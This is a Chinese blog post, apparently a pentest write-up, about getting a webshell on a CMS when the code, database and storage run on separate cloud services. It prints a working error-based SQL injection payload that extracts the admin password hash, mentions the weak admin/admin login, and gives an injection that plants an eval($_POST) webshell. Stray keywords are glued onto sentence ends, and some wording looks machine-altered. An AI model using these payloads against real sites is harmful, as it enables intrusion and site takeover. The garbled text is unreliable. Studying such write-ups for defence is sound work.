新的部署架构之下,如何拿shell?

和朋友聊起一个话题,服务器部署架构升级对安全的影响。从最简单的一台服务器,到应用、数据库、文件服务器分离;从本地机房服务器到云服务器产品矩阵;从虚拟化到容器化部署,一直在往更安全的方向改变。web

本文试图构建这样场景,源码放在ECS,数据库放RDS,非结构化数据存储放HDFS。常规的getshell手段,如SQL注入写入文件,任意文件上传,文件包含等彷佛已再也不好使。这种状况,如何突破系统的部署架构,来获取网站的webshell呢?sql

实战思路:黑盒渗透测试+白盒代码审计shell

在进行信息收集的时候,找到网站管理后台,查看登陆界面网页源代码,获知该系统可能由某CMS二次开发。进一步下载开源CMS源代码进行代码审计,从前台sql注入到后台getshell。数据库

某CMS演示站点漏洞利用过程:安全

一、利用前台SQL注入漏洞,搜索处填入Pyload:服务器

keyword=1%' or (select 1 from (select count(),concat((concat(0x5e5e21,(select concat(0x7c,password,0x7c) from xxxxx_user where uid=1),0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)#

将md5值:21232f297a57a5a743894a0e4a801fc3 解密为admin架构

使用弱口令admin/admin成功登录后台。微服务

二、 登录后台,在Home设置—专题管理—建立专题—专题名称处填写Payload:test111',eval($_POST[g]),//测试

三、访问webshell地址:网站

PS:本文所引用案例,安全漏洞于2018.11提交官方,目前已修复。


技术架构上的升级,它能够很大程度地下降一些安全风险,黑盒渗透的漏洞利用难度无疑会增大。目前,比较流行的微服务架构,会有愈来愈多的系统使用场景,而这也是一个很大的挑战,你觉得你拿到了整个系统的权限,其实你触及的多是系统中的某个服务。

很喜欢这样一句话,简短有启发:细节中发现漏洞,架构上解决问题,流程中控制风险。

相关文章
相关标签/搜索